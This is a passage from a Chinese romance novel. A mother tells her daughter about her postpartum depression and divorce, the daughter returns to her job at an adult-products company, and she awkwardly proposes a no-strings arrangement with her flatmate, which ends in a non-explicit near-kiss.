林晚星出院回来了，张苑琼紧紧地抱着她不让罗青盈接近：“你走开！你不配当妈！你别再碰我孙女！” 之后，张苑琼也是这样，压根不让罗青盈碰林晚星，仿佛她只要一接近她，就会要了她的命。 罗青盈觉得自己好像被一只爪子掐住了脖子，简直无法呼吸。 她不仅感受不到快乐，她甚至感受不到生命。 她每天都在行尸走肉。 她听说有人生完孩子后会性情大变，但从来没有人把这件事当成一件严肃的事情对待。没有人想要承认自己生孩子生出病来，只会说是带小孩太累了导致情绪不好。 可是，罗青盈不想冒险，她很害怕自己再做出什么伤害林晚星的事。 她只是病了，只要治好了，她就会像以前那么快乐。 她或许就能跟林运辉回到恋爱时的甜蜜，也能和张苑琼和睦相处，更能成为一个合格的妈妈。 于是，她不顾其他人的眼光，决定去看医生，但治疗了一段时间却收效甚微。 那天，她从医院回来，林运辉关心地问道：“医生怎么说？” 罗青盈不想聊，只是摇摇头，敷衍道：“还是那样。” 她很累，换下鞋子后，就直接走进房间。 门还没关上，她就听到身后传来张苑琼刻薄的声音：“就她事多，生个小孩还把自己搞成神经病。个个女人都是这么过来的，怎么不见其她人变神经病呢？” 林运辉赶紧制止道：“妈，那不是神经病，是产后抑郁症。” “什么玉不玉的，就是神经病嘛！我看她现在就像个神经病！” 好疲惫，真的好疲惫。 罗青盈绝望地闭上眼睛，轻轻地叹了一口气。 一滴泪顺着脸颊滑落。 到此为止吧，她不想坚持了。 这样的生活，她一天都不想过了。 这样的生活不结束，她永远不可能好。 “林运辉，我们离婚吧。”【你现在阅读的是 】 20-30 第21章 第 21 章 星星的光芒，来源于太阳…… 罗青盈的故事讲完了, 林晚星的脑袋像是一口刚被敲过的大钟，只剩下嗡嗡的余音。 空气变成一根弦，绷得紧紧的，她的呼吸也跟着吃紧。 电视在播放着欢乐的乐曲, 然而电视前的两人却一声不吭, 脸上没有一丝喜庆的样子。 当年的事, 林晚星听过很多版本。 有奶奶的、有继母的、有嚼舌根的邻居的。 这是第一次，从罗青盈口中, 听到属于她的版本。 没有被刻写进回忆的往事, 却从她人的记忆里读取, 她从第三者的视角去观看属于她的故事。 她竟然没有怨恨。 直至此刻，林晚星终于明白了罗青盈上次和她说的那句话是什么意思。 你刚毕业就有小孩，会很麻烦。 她只是不想她重蹈她的覆辙。 “我和你爸爸决定离婚后，他们担心我的状况, 不想把你交给我抚养。而我那时, 也确实对自己没有信心……” 罗青盈本以为自己早已经放下了，然而再谈及往事时, 每个字都像一根针扎进她的心里。她仍然很难面对当时的自己。 “所以, 我没有去争取你的抚养权, 我还让自己尽量跟你保持距离，以免再做出伤害你的事情。” 林晚星抬眸回应罗青盈，问道：“那爸爸把我送回你身边时，你是想拒绝吗？” 她仍然记得罗青盈当时为难的样子。 她应该是很不想再把她接回身边的吧？ 可是, 最后又将她留下，是为了弥补？还是因为责任？还是无法推辞？ “不是。”罗青盈摇摇头，说，“我是自愿将你接回来的。” 林晚星的心脏被轻轻地捏了一下。 “我一开始不去争取抚养权, 除了自己的原因外，是我看到当时你爸爸和奶奶是真的爱你。我觉得你和他们住在一起会更快乐。” “但是，你爸爸的老婆生了小孩后，我就开始担心，你在那里会不会过得不好？”罗青盈很清楚，没有了妈妈的孩子，在重组家庭里，通常都不会过得很好，“但是，他们没提，我也不好主动把你接回来。我也不知道，你还愿不愿意跟我……” “直到，你爸爸主动把你送过来，我的担心成了事实。那一刻，我既开心，又忐忑。” 罗青盈还能想起当时的场景，她紧张地回头看了林晚星一眼，她也紧张地坐在凳子上，充满戒备地看着她。她有一瞬的惆怅，她错过了她最宝贵的成长阶段，如今的她对于林晚星来说，估计只是比陌生人多了一层血缘关系而已。 她担心林晚星会不喜欢她，她也不知道自己还能不能胜任母亲的角色。 林晚星抿了抿唇：“那你为什么……” 还要留下我？ “我当时的病已经好了。我就在想，要不试试吧。” 罗青盈笑了笑，“从来没有人告诉过一个好妈妈的标准是什么，但很多人都在对我这个妈妈指指点点，反而让我更加不会了。我当时就在想，如果你不把我当妈妈了，我们就不以母女的方式相处吧。” 罗青盈挑了挑眉：“我就把你当作我的一个小姐妹。我想，也许那样，我们都会轻松点。” 林晚星愣住了，她一直以为罗青盈当年是勉为其难留下她，没想到…… 她突然轻笑一下，“确实，你确实不像一个妈妈。” 罗青盈呆怔住，一下子竟搞不清楚林晚星是认真的还是开玩笑。 “还有啊，”林晚星皱着眉，抬手指着窗外，“我还总是在想我这名字啥意思呢，原来你就是看到窗外的一颗星星给我取得啊！这也太……” “随意”二字还没说出，窗外突然传来一阵爆裂声，绚烂的烟花划破黑夜，七彩的烟火如流星落入人间。 新的一年到来了。 两人在这一瞬间都被适时绽放的烟花吸引住了，双眼一眨不眨地看着窗外。 等到这一波烟花放完，两人才对视了一眼，莫名忍不住一笑。 罗青盈接回刚才的话，问她：“那你就说，你喜不喜欢这个名字嘛？” 如果她真的不喜欢，她支持她改。 林晚星抿着唇故作矜持，可是笑意却泛上双眼。 她只能点头：“嗯，喜欢。” 在漆黑的深夜里，依然有绽放光彩的能力。 在无底的深潭里，依然有仰望星辰的浪漫。 林晚星没想到她平平无奇的名字里，竟然藏着罗青盈对她如此深切的祝福和希望。 她也从这个名字窥见到，罗青盈那时候的挣扎。 尽管身处黑夜与深潭苦苦挣扎，罗青盈依旧希望她如明星般灿烂闪耀。 这何尝不是罗青盈从未表露过的爱呢？ 听到林晚星的回答，罗青盈终于松了一口气，这个曾经不被所有人喜欢的名字，但是被名字的主人喜欢。 她抬手捏着林晚星的鼻子，说：“喜欢还那么多话讲。” 林晚星皱了皱眉，拿下罗青盈的手，嘟囔道：“我又不是小孩子了，还捏鼻子。” 罗青盈附和道：“是，你现在已经是大孩子了。” 言罢，她打了个哈欠。 将深藏在心底的往事揭开，重新回看曾经无法面对的自己，并与女儿真正和解后，她像是卸下了一个重担，整个人都松弛了。 她想好好地睡一觉。 罗青盈站起来伸了个懒腰，问道：“你还看电视吗？我累了，要睡了。” “不看了。”林晚星顺手将电视关掉，也跟着站起来。 “那睡觉吧。” “嗯。” 罗青盈转身走向自己的房间，却听到背后传来一声“妈”。 她转过身，问：“干嘛？” 一个身影扑了过来，将她抱住。 罗青盈愣住了。 林晚星抱着罗青盈，她现在已经跟她那么高了，甚至还略高一点。 她的头伏在罗青盈的肩膀上，说：“我真的好喜欢这个名字。” 罗青盈笑了，轻拍她的背，说：“知道啦。” 突然这么煽情，她还有点不适应呢。 林晚星还抱着罗青盈，肌肤的直接接触，传递着彼此的体温，是所有动物包括人表达爱意的最直接方式。 她感受着罗青盈身上的温度，像抱着一个发热的小太阳，正在源源不断地给她传递能量。 林晚星问：“你知道我为什么喜欢这个名字吗？” 罗青盈不猜，顺着她的话问：“为什么？” “因为，星星的光芒，来源于太阳。” 因为有罗青盈，她才能成为今天的林晚星。 因为罗青盈的坚强乐观、开明包容，她才能成为今天这样快乐的林晚星。 她一直都是在仰仗妈妈的光芒，她真的好爱好爱她的妈妈。 22年前，她还小，只会渴求妈妈的怀抱。 22年后，她长大了，她好想要穿越时光，抱一抱23岁的罗青盈。 …… 林晚星待在家里的最后一天，罗青盈邀请了高远来家里吃饭。 是林晚星提出的。 一大早，林晚星就神秘兮兮地拉着罗青盈来到自己的房间：“我有礼物送你。” 罗青盈总觉得这小家伙不怀好意，皱着眉头警惕地说：“你在搞什么？” 林晚星从行李箱里拿出一盒安全.套，笑眯眯地举到罗青盈面前。 “……”罗青盈半眯起眼睛，“搞什么鬼？” “还记得你上次在我房间看到那盒东西吧？其实，这是我公司的产品，我之前不是说找到工作了嘛，是一家成人用品公司。我上次不敢跟你解释，是因为我不知道你会怎么看待我这份工作。” 罗青盈明白过来后，忍不住笑了：“这有什么不好说的，你妈是那么古板的人吗？” 她从林晚星手上接过那盒东西，左看看右看看：“感觉还不错嘛，多酷的职业，你还是我认识的人中第一个从事这一行的。你要是早告诉我，我还可以跟我同事朋友吹一吹呢！” “妈，这大可不必……” 林晚星将这盒安全.套塞到罗青盈手里，有些酸酸地说：“虽然我接受了你交男朋友，但是不代表我能接受突然多一个弟弟或妹妹。” 罗青盈看着林晚星别扭的样子，明白了她的意思，将盒子推了回去，笑道：“你自己用吧，妈用不上。” 林晚星脸色一变，紧张地问：“妈，你不会真的还想跟高叔叔生小孩吧？” 罗青盈“噗嗤”一笑：“不是，而且我再也不会生小孩了。我当年离婚后，就去结扎了。你高叔叔也知道这件事。” 什么？ 这个信息量太大了。 林晚星彻底愣住了。 心里对罗青盈的心疼达到了最高值。 罗青盈却云淡风轻：“其实，我当年离婚后就意识到，自己根本不喜欢当妈妈。我在没有认清自己，没有准备好的时候就走进这个角色，因此对你造成了无法弥补的伤害。我不想让这样的事情再次发生，所以做了这个决定。” 胸腔仿佛一下子被抽干了所有的空气，林晚星有一刹那几乎呼吸不上来。 下一瞬，汹涌的浪潮伴随着一阵酸涩一起涌上眼眶，洇湿了双眼。 心里的所有担忧却随着眼泪而消散。 她之所以排斥高远，或者说排斥罗青盈交男友，是因为小时候在爸爸那里遭遇过的阴影。 如果妈妈也有了自己的新家庭，那她就真的成为没有家的小孩了。 可是，这一刻，她知道，自己是妈妈唯一的小孩。 无论她交几个男朋友，她都只会有她一个小孩。 她的妈妈，永远都只会是她一个人的妈妈。 这对她有非凡的意义。 罗青盈抬手，用手背拭去林晚星眼角的泪水，语重心长地说：“所以，我上次才会说出那句话。你想谈恋爱，你喜欢什么样的人，妈妈是绝对不会有意见。恋爱很甜蜜，但婚姻是另一回事。所以，我不希望你糊里糊涂地走进婚姻、怀孕生子。因为，爱情在婚姻里，太廉价了，很难经得住考验。” “我希望当你有一天决定成为妈妈的时候，是因为自己。因为你真的想要一个孩子，因为你有能力爱ta、抚养ta、陪伴ta成长。我希望那时候，你很清楚成为妈妈意味着什么，而不是因为爱情。” …… 这顿饭吃得比上次三人在江城吃得要愉快得多。 饭后，高远开车和罗青盈一起送林晚星去坐高铁回江城。 到了高铁站，罗青盈下车送林晚星进站，高远留在车上，把空间留给她们母女俩。 林晚星走到高铁站门口，停下，说：“妈，送到这里就好了，别让高叔叔等你太久。” “嗯，那你到了给我信息。” “行啦。”林晚星应道，她抬头往高远的车看了一眼，然后对罗青盈说，“其实我还是不太喜欢他。” 罗青盈：“嗯？” 林晚星努努嘴，摇摇头：“他配不上你。” 罗青盈有些无语地翻了翻白眼。 林晚星又说：“不过吧，我喜不喜欢不重要，重要的是，罗女士，你要幸福。” “所以……”她朝罗青盈wink了一下，“赶紧拿下他。” 说完，她不等罗青盈回答，拉着行李箱嬉笑着转身跑进高铁站。 罗青盈看着林晚星的背影，无奈又好笑地摇摇头。 上车后，林晚星对照着车票上的信息找到自己的座位，刚准备坐下时，却惊讶地叫道：“陈图森？” 坐在她旁边的竟然是陈图森？ 这是什么缘分！ 陈图森戴着耳机，听到似乎有人叫他，摘下一只耳机抬起头。 看清眼前的人后，他的眸子闪过一丝亮光，仿佛落入了星光。 林晚星已经坐了下来，热情地说道：“好巧哦！你家在哪啊？” 陈图森敛起眸光，淡淡地应道：“丰门。” “哦……”林晚星点点头，距离云禾300多公里，隔着两个站点，“那还挺远的。” 陈图森垂着眸子，淡淡地应道：“嗯。” 一段时间没见，他觉得林晚星好像有点变了。 身上那团死气没了，恢复了之前的元气和快乐。 看起来她恢复了，是件好事。 欣慰之余，不安却又涌上心头。 他想到一个问题：“你不是不用上班吗？怎么这么早回去？” 该不是回去收拾东西搬家吧？ “因为……”林晚星略作思索，认真地说道，“我可能找到工作了。” 第22章 第 22 章 “我想申请调岗。”…… “可能？” “嗯……”林晚星对这个回答有些严谨, “因为还没有确定下来。” 她决定了，她要回蜜语。 这个决定，是在除夕夜当晚就定下了。 罗青盈的故事，让她想起顾歆跟她说过的一句话： “很多女孩子在性.爱时根本不能放松地享受, 她们担心会不会传染疾病, 会不会意外怀孕。” 而罗青盈年轻时候遭遇的婚姻失败, 其中很大的一个可能，就是在没有准备好的时候就怀孕, 因为怀孕而步入婚姻。 她不会觉得自己的爸爸是渣男, 但她也不会觉得他是一个有担当有责任心的人。 小时候, 林晚星看到电视剧里的女主怀孕了，男主对她说：“放心，我会负责的。”而这个负责就是和她结婚。那时，年少无知的她, 每次都会感慨, 男主真的很有责任心，很有担当, 很爱。 现在, 她才发现, 这哪是爱，这哪是负责啊！这分明就是男人们的自我感动罢了。因为，从来没有一个男主问过女主是否想要生下这个小孩，他们只沉浸在自己即将拥有后代的喜悦中。 真正的爱和负责, 应该是两人没有准备好为人父母前，充分做好安全措施，不要用“意外”去掩饰自己的无知和自私，尊重女性的意愿, 把生育权交还给女性。 她也终于明白，为什么蜜语要做一个为女性服务的成人用品品牌，为什么要鼓励女性自己购买安全套，这不仅是让女性可以在性.爱中拥有更多的主动权和掌控权，更重要是，让女性掌握自己的生育权。 如果之前，这份工作对她而言只是一份工资高、工作轻松的“好工作”。那么现在，这份工作有了不一样的意义。 她想要做的事、她的追求竟然意外地连接上了蜜语的品牌使命。 陈图森没有继续追问，沉默地戴上耳机，目光从林晚星的脸上挪开，缓缓地看向窗外。 窗外的景色飞快地被拉扯到后面，一幅一幅地快速轮转。 林晚星含糊不定的回答、她没有说出的话，却写满了笃定。 在她看不见的角落，陈图森的嘴角弯起了一个极微小的弧度。 …… 第二天，林晚星一大早就起床，按照正常的上班时间来到蜜语，她从朋友圈知道她们是今天开工。 站在公司门口，大门没关，她听到里面传来熟悉的欢笑声，她甚至还能辨认出是谁的声音。 熟悉的感觉。 她忍不住深深地呼吸了一口，然后才抬手，敲了敲门，走进去。 她的敲门声打断了里面的欢乐，大家的目光全都看了过来。 她们手上都拿着红包，原来是在派开工红包。 林晚星有些局促，笑道：“嗨，大家新年好呀。” 小优第一个跳了起来，三两下蹦到了林晚星面前，抱着她：“小星星！你过来看我们吗？” 小优的热情化解了林晚星的忐忑，她笑道：“是啊。”然后看向顾歆，说，“还想顺便来讨个开工红包。” 顾歆手上还拿着红包，笑盈盈地看着林晚星，好像她本来就在等着她一样。 她朝自己的办公室侧了侧头，说：“进来聊吧。” 林晚星跟着顾歆走进她的办公室。 顾歆将手上的红包放在桌上，扬了扬下巴：“说说吧，我为什么要给你这个红包啊？” 林晚星从包里拿出一份简历，谦逊地递到顾歆面前，说：“我来应聘。” “应聘。”顾歆复述道，随手翻了翻林晚星的简历，问道，“我为什么要请你呢？” “我在贵公司实习过三个月，了解公司的文化、风格、产品，上手够快。” 顾歆将林晚星的简历合上，说：“相比跑得快，我更重视这个员工跑得远。你知道，我们这一行，要寻找、培养一个合格的人才是很难的。我不希望我的员工随心所欲，来来去去。你聪明、能干，但我怎么知道你会不会工作个三五月突然又要走了呢？我们培养一个员工也是需要付出成本的。” 林晚星羞愧得低下了头，说实在的，她之所以敢回来，也是因为辞职前顾歆对她说的话，让她知道顾歆心里是希望她留下来的。她本来以为，只要她们没招到人，她要回来不是什么难事。不过，她现在才知道，自己是要为之前的任性付出代价的。 “对不起，歆姐，我知道自己之前确实冲动、任性了。”林晚星重新抬起头，看着顾歆说道，“我也不想在你面前狡辩太多，我一开始之所以会进来这家公司，确实是因为你们提供的综合待遇是我遇到的公司中最好的。但是，我的心里对这一行是有抵触心里的。可以说，我一开始就是为了钱来的，所以，每一次我面对别人的误会时，心里的抵触情绪就会被唤起，我就觉得，工作而已，又不是真的就找不到同等待遇的工作了，为什么我要遭受这样的误会。” “不过，最近，我身边发生了一些事，让我明白了，成人用品行业，不是色.情行业。相反，它最基本、最深沉的意义，是在于保护女性的身体以及基本权利。我很希望，自己有一天能设计出一款安全、实用、避.孕率能接近100%的安全.套，让每一位女性都能放心、安心和愉快地享受性.爱过程。” 顾歆很认真地倾听，一直到林晚星说完好几秒后，她才慢悠悠地应道： “看来，你这次真的是想通了。” “是的，歆姐，你相信我！我不会再受别人的影响了，我也不会再那么轻易放弃。所以，你能不能，再给我一次机会？” 顾歆直勾勾地看着林晚星的眼睛，仿佛是拥有什么读心术一样，想要透过她的眼睛直达她的内心。良久，她才终于笑了，拿起桌子上的红包递给林晚星：“想拿开工红包，今天能开始上班吗？” 林晚星愣了一下，没敢接，小心地确认道：“你的意思是，我能回来了？” “多包了一个。”顾歆努努嘴，“可能是冥冥中就预想到今天有新同事吧？” 林晚星这才笑了起来，开心地接过来：“谢谢歆姐！” 顾歆脸色也舒展开来，笑着说：“其实吧，我也不知道为什么，总感觉你会回来的。所以，你走了后，我并没有着急招人。”说完，她站起来，向林晚星伸出手：“直接转正，工资跟之前不变，待遇按正式员工算，欢迎你回来。” 林晚星的心再次涌起热流，暖烘烘，她赶紧站起来和顾歆握手：“谢谢歆姐！我一定会努力的。” “不过，我有一个小小的要求。” 顾歆微微眯起眼睛：“得寸进尺了？刚入职就提要求？说说看吧。” “我不想继续当视觉设计师，我能不能申请调到产品研发岗？” 顾歆的眉头微蹙，她之前确实跟林晚星说过，她最希望她做的是产品设计师，可是…… “你应该清楚，从事产品研发设计，是需要有一定的性.经验的。你……” “我没有。”林晚星没法撒谎，她连男朋友都没，也不打算谈。 “所以……”顾歆无奈地耸耸肩，“我确实很希望你能当产品设计师，但是，我不着急，你也别着急，好吧？毕竟你才刚回来，还是先做着之前的岗位，如果你对产品研发感兴趣，平时自己可以多接触接触，等你准备好了，再跟我申请，好吧？” 林晚星理解，但还是忍不住泄气。 别说她现在没有男朋友，以后她也不是很想谈。 也许是因为父母离异的原因，她一直以来都对恋爱这件事没有什么热情。 小时候看小说、看偶像剧，她觉得两人结婚，就是一个圆满的结局。 可是故事往往是停在最快乐的时候的，没拍摄出来的都是一地鸡毛的生活。 知道了罗青盈当年的事后，她才明白，婚姻确实是爱情的终点。 恋爱的尽头要么是结婚，要么是分手，既然两个都不是happy ending，那干嘛要花时间花精力去谈呢？ 可是，这样的话，她不是这辈子都无法转岗产品设计师了吗？ 这世上有没有一种男朋友，可以不谈感情，纯做？ 看来，在找到这样的男朋友之前，她也只能接受现状：“好吧。” 林晚星垂头丧气地起身，准备出去。差不多走到门口的时候，她突然停住，转过身来，问道：“歆姐，我第一天来这里的时候，就想问你一个问题，为什么安全.套这个产品线的名字叫WHISPER？” 顾歆当时说，她觉得这个名字意外地合适，可是她直到现在都不知道哪里合适？ 听到这个问题，顾歆笑了笑，说：“WHISPER，耳畔溢出的蜜语。” “啊？”林晚星更不懂了。 顾歆却笑得更开心：“等你以后有经历就懂了。所以我说吧，有性.经验，还是很重要的。” …… 下午临近下班的时候，林晚星给陈图森发了一条信息：【今晚加班吗？】 陈图森：【不加。】 林晚星：【回家吃饭？】 陈图森：【可以。】 林晚星：【那我去买菜，今晚我来煮。】 陈图森：【好】 陈图森回到家的时候，林晚星的饭还没煮好。 陈图森回房间放下包，洗过手后，走进厨房，看到摆满厨房的菜，他有理由怀疑林晚星在煮满汉全席。 他皱了皱眉，问道：“你在干什么？” 林晚星：“做饭啊。” 陈图森：“……太多了吧？” 他默默地拿起排骨、鸡翅等还没处理的菜一一放进冰箱，最后留下了一条鱼，拿到水槽清洗处理，说：“蒸条鱼，炒个青菜就好了。” “也是。”林晚星反应过来，解释说，“不好意思，今天有点开心，看到想吃的菜就全买回来了。” “没关系，放冰箱，这周都可以不用再买菜了。” “嗯！”林晚星点点头，问道，“那你这周都会回来吃饭？” “应该吧，第一个星期一般不会太忙。” “那就好。” 有陈图森的帮忙，两个人很快就吃上饭了。 林晚星趁着这个机会，开心地宣布：“我找到工作了，所以我也不用搬了。” 陈图森微顿，然后面不改色地轻轻“嗯”了一声。 林晚星继续说道：“还是之前那家公司。” 陈图森又“嗯”了一声，随后才说道：“挺好的。” 本是随口而出的话，林晚星却问道：“什么挺好的？” 陈图森顿住了，有工作挺好的，不搬挺好的，反正都挺好的。 他思考了好一会，说道：“就是觉得，你挺喜欢那工作的，挺好的。” 林晚星点头表示赞同：“是挺喜欢的，就是……” 没法转去自己喜欢的岗位。 陈图森迟迟等不到林晚星的下半句，破天荒地主动问道：“就是什么？” “就是……”林晚星欲言又止，好像也没必要告诉他，因为自己没有性.经验，老板不让她转岗的事吧，她低头扒饭，嘟囔道，“没什么。” 可是，刚扒两口饭，她突然意识到一个问题，双眼瞟向坐在对面的人。 他一只手捧着饭，正认真地吃饭。 说实在，他条件真是不错。 样子帅、身材好、生活检点、健康干净，做饭还好吃。 而且没女朋友。 似乎每一个条件都很合适。 那么，是不是有可能…… 可是，他会答应吗？ 林晚星有点不肯定，毕竟上次他那么主动，他还拒绝了她。 但，那是因为她当时心情不好，陈图森不想趁人之危，那不正说明他是正人君子吗？ 陈图森无法忽视对面的目光，他感受到作为猎物的被凝视的危险，决定主动出击，问道：“你干嘛一直看着我？” 林晚星：“陈图森，你没女朋友是吧？” 陈图森心尖微微一颤，应道：“嗯。” 林晚星：“那你打算找女朋友吗？” 陈图森心跳频率莫名失序，他咽了一口饭，抚平了一些紧张，平静地说道：“我刚过来这边，暂时没这个打算，工作为重。” 林晚星：“太好了！” “？”陈图森不知道她为什么这么高兴，抬眉问道，“你为什么这么高兴？” “没有。”林晚星尴尬地笑道，“就是想问问你，你平时，是怎么解决的？” 陈图森好不容易平静了一点的心脏又紧张地怦怦直跳：“解，解决什么？” 林晚星双眼往下，挑眉示意：“那个……” 陈图森：“……” 这是吃饭时该聊的话题吗？ 不，这是他们俩之间该聊的话题吗？ “你问这个干嘛？” “我就是在想，你有需求，我也有需求，我们又刚好住在一起，是不是能成为……”她突然停住，陷入了思索，一时间找不到一个合适的词去表达自己的意思。 经过几秒钟的苦思冥想，她终于找到一个合适的词语—— “你想不想成为我的床上用品测评搭档？” 第23章 第 23 章 滚烫的双唇在她的额头烙…… “什么鬼？”陈图森皱着眉头, 忍不住问道。 这画风怎么跟他预想的不一样？ “就是……”林晚星小心斟酌用词，解释道，“你知道我这份工作的，我想转岗产品设计师, 但是老板说我没有那方面的经验, 不让我转。所以, 反正我们都单身，是不是能……” “不能。”陈图森明白她的意思了, 阴着脸一口回绝, “这是你的工作, 跟我无关。” “我知道。但，你也有需求对不对？与其自己解决，不如……”她扬了扬眉，“是吧？” 林晚星觉得这就是各取所需、两全其美的事情, 为什么不答应呢？ 陈图森的耳根肉眼可见地一秒蹿红, 他皱着眉头问道：“你就不能正儿八经地找个男朋友吗？” “找男朋友多麻烦。”林晚星皱起眉头，“我就是需要那个而已, 又不想谈恋爱。” 谈恋爱不仅需要做, 而且还要提供情绪价值, 要经常约会吃饭看电影，一言不合还会互相生气要哄来哄去，最后分手可能还老死不相往来，或者结婚生小孩从此生活一地鸡毛, 想想就好麻烦。 说到底，她就是想找个工具人，而且她觉得陈图森真的很合适。他整个人冷冰冰、硬邦邦的，本身就跟个机器人一样。 二十多岁人, 长得帅、工作也不错，竟然还没女朋友，在感情上肯定是个断情绝爱的人，他们也不用担心有什么感情纠葛。 但她不能直说，估计任何人都不想被当作工具人吧？ 见陈图森不说话，林晚星继续争取，试探地问：“你是不是想收钱？但我给不了太多，你想按次还是包月？” “咳咳……咳咳！咳咳……”陈图森本想回避这个问题，埋着头默默吃饭，没想到林晚星语不惊人死不休，一个不慎，吓得他被饭呛到，剧烈地咳嗽起来。 好不容易理顺了气，他微喘着问：“……你觉得这是钱的问题吗？” 林晚星耐心谈判：“不然是什么问题？你就把你的问题说出来，我能解决的都会尽量解决。” 陈图森：“……是我不能接受这种关系的问题。” 林晚星：“那你能接受什么关系？” 陈图森还没回答，心脏就先加速跳动，他抬眸看向林晚星。 他实在无法理解，为什么会有一个女孩子用这么单纯澄澈的眼神跟他讨论这种问题。 仿佛她想邀请他一起做的事情，本身就是一件正常的、单纯的事情一样。 陈图森垂眸：“反正，就不是这种，单纯的□□关系。” 林晚星不服气地说：“也可以不单纯啊，给你钱你又不要。” “……”陈图森低头，继续吃饭，“不要再说了，反正我不同意。” 林晚星很失望，也捧起饭碗继续吃饭。 不过，她还不死心，问道：“那你有没有合适的人给我介绍？你们公司应该男的挺多的吧？” “什么？”陈图森皱着眉头抬起头来，“你还要继续找？” “那当然！”她回去蜜语，才不是为了一辈子做海报和产品包装设计呢！ 陈图森呼吸变得急促，捧着碗的手绷紧，似乎恨不得把碗捏碎。 他咬着牙吐出两个字：“没有。” 林晚星皱起眉头，不满地说：“你都还没问！” 陈图森：“反正没有，不会有人答应做这种事的。” 看来陈图森是不会帮忙的，林晚星叹了口气，沮丧地说：“那我明天问问同事吧。” 陈图森再次抬起头，难以置信地看着她：“同事？” “嗯。”林晚星点头，“她之前说给我介绍男朋友。” 陈图森：“你不是说不要男朋友？” 林晚星：“实在没办法也可以，找个不那么黏人的也不是不能接受。” 陈图森：“……” 为什么她找外面的人就可以是男朋友，找他就只是什么测评搭档？ 他不明白。 他身体僵硬地吃完碗里最后一粒饭，“啪”地一声，重重地将碗放在桌上。 林晚星猛地被吓了一跳，抬起头看着陈图森，问道：“干嘛那么大力，等下别把碗磕破了。” 陈图森脸色异常严肃，整个脸绷得紧紧的，冷冷地问道：“什么时候开始？” 林晚星不解：“开始什么？” 陈图森目光冷冷地扫了她一眼：“你说的，什么测评搭档。” 林晚星眨了眨眼：“什么时候找到人，就什么时候开始啊。” 陈图森：“行，那就今晚吧。” 林晚星：“啊？” 陈图森：“我不是你的第一人选吗？你要找别人，也得先试过我行不行再说吧。” 林晚星愣了几秒才反应过来：“这么说，你是答应了？” 陈图森嘴角轻轻扯动了下：“我想了一下，你找别人也挺麻烦的。我不想以后有陌生男人上来家里，也不想你突然要搬走，我又要找室友。都很麻烦。” 他目光看向林晚星：“就像你说的，反正我也有需要……所以……也不是不行。” 剧情峰回路转，林晚星滞愣了几秒，一时间竟不知道应该如何反应。 陈图森快速地瞥了林晚星一眼，见她整个人似乎呆住了，便自己作主：“那就今晚开始吧。” 林晚星空咽了一口，反问道：“今晚？这么快？” 陈图森：“不是你说什么时候找到就什么时候开始吗？” 是是是，是她说的。 林晚星的心跳莫名地越跳越快，她下意识地咬住筷子。 可是，微微起伏的双肩还是出卖了她。 陈图森：“害怕了？” “哪有！”林晚星立马放开筷子，反驳道，“我只是在想……是不是要做些准备？你看，我们都还没洗澡，又刚吃完饭，不太好做剧烈运动吧？” 陈图森：“没说现在。”他抬手看了眼手表，说：“10点，够时间准备吗？” 林晚星想在大脑计算一下时间，却发现大脑一片空白，什么都计算不出来。 她只好投降了：“够了够了。就10点。怎样，在你房间还是我房间？” “随便。”刚说完，陈图森又赶紧改口，“我的吧我的吧，去我房间。” 林晚星没异议：“那就10点，在你房间。” …… 林晚星很早就洗完澡了，她在房间数着时间，可是这时间就像钝刀割肉一样，漫长又煎熬。 理智上，她告诉自己不用紧张。 男人嘛，就跟玩具差不多，她和玩具可是有过丰富的经验的，要紧张也应该是陈图森紧张。 可是，不管怎么自我洗脑，这毕竟还是她第一次和一个真正的男人做，她还是没法不紧张。 10点一到，她立马站起来，不想再给自己一秒时间犹豫，拿起所有的备货，前往陈图森的房间。 不知道是不是在等她，陈图森的房间竟然没有锁门。 出于礼貌，她没有直接冲进去，而是站在门口打了个招呼：“嗨！” 陈图森虎躯一震，手上的手机“啪”地一声面朝地地掉了下去。 林晚星看不见屏幕的内容，但还是听到隐隐约约的不可描述的声音。 空气突然凝滞，场面一度尴尬。 陈图森赶紧起身，弯腰捡了起来，强装淡定地把视频关掉。 见陈图森这么淡定，林晚星觉得自己也不能怂，语气轻松地问道：“哦，你在预习啊？” 陈图森：“……随便看看。” 他刚才也和林晚星一样，在房间等得太过煎熬，实在不知道应该干什么，便打开一个小电影消磨时间。他以前也不是没看过，但是毕竟这是第一次实战，他突然觉得还是认真看看流程，免得在林晚星面前出糗。 没想到，他看得忘了时间，就被林晚星撞见了。 好在林晚星很快把这事翻篇，拿起手上的小雨伞，问：“你喜欢用哪种？” 陈图森匆匆瞟了一眼，他也不太懂，便说道：“挑你喜欢的吧。” 林晚星挑了水润款的，说：“那就用我们公司的新品吧。” 陈图森点点头：“可以。” “……” 两人一瞬间都陷入了安静，场面再次尴尬。 林晚星虽然和玩具有过很多接触，但毕竟是第一次和男人做。 她不耻下问：“第一步应该干什么啊？” 陈图森：“……我也不知道。” 他也是第一次。 林晚星：“刚才你看的片子上没有？” 陈图森：“……” 他没办法，只好回忆一下刚才片子上看到的流程，片子里的一男一女也不知前面发生了什么，突然就抱在一起啃，然后互相脱衣服，最后滚在一起。 陈图森言简意赅总结道：“接吻。” 林晚星脸颊一热：“哦……那我们，也要接吻？” 陈图森心头一动，抬眼看向林晚星，四目相触的一瞬间，像是有一股微弱的电流在空气中流动，把两人都电了一下，他们默契地迅速把目光挪开。 陈图森：“可以……不过，如果你不想的话……” 林晚星觉得应该尊重搭档，说道：“也没有不想。” 反正她刷牙了。 只要陈图森也刷牙了就好。 陈图森低头深呼吸了一口气，壮起胆上前，模仿刚才电影里的男主，伸出手箍住林晚星的腰，将她拽入自己的怀里。 两人一下子紧密相贴，属于对方的气息立刻将彼此紧紧地裹在一起。 林晚星的呼吸有一瞬间的停滞，这种感觉真的太奇怪了。她竟然和陈图森抱在一起，待会还要上.床。 在这么暧昧紧张的时刻，她的脑袋竟然还开小差，暗暗地想，陈图森真的好高，比她高出半个头。她能感觉到属于他的温热气息像羽毛一样轻轻地扫过她的额头，很酥很麻。 她鼓起勇气，抬起头看向陈图森。 他紧实的肌肉微微颤抖，双眼像一只猎豹一样紧紧地擒住她。 似乎预感到要发生什么事，林晚星呼吸变得急促，双唇下意识地轻轻抿在一起。 这一细微的动作，是逃不出猎豹的眼睛的。 准备落下的吻倏地在心里被叫停。 在他观念里，吻是一件象征着爱的事，是两人表达爱意的一种行为，甚至比做.爱还要庄重。 因为做.爱可以只为解决生理的欲望，但吻，是只有情到浓时才会有的冲动。 他突然明白，林晚星虽然嘴上同意了，但心里其实并没有同意。 不然，她不会抿唇。 林晚星已经紧张到闭上了眼睛，但是预料中的吻迟迟没有落下。 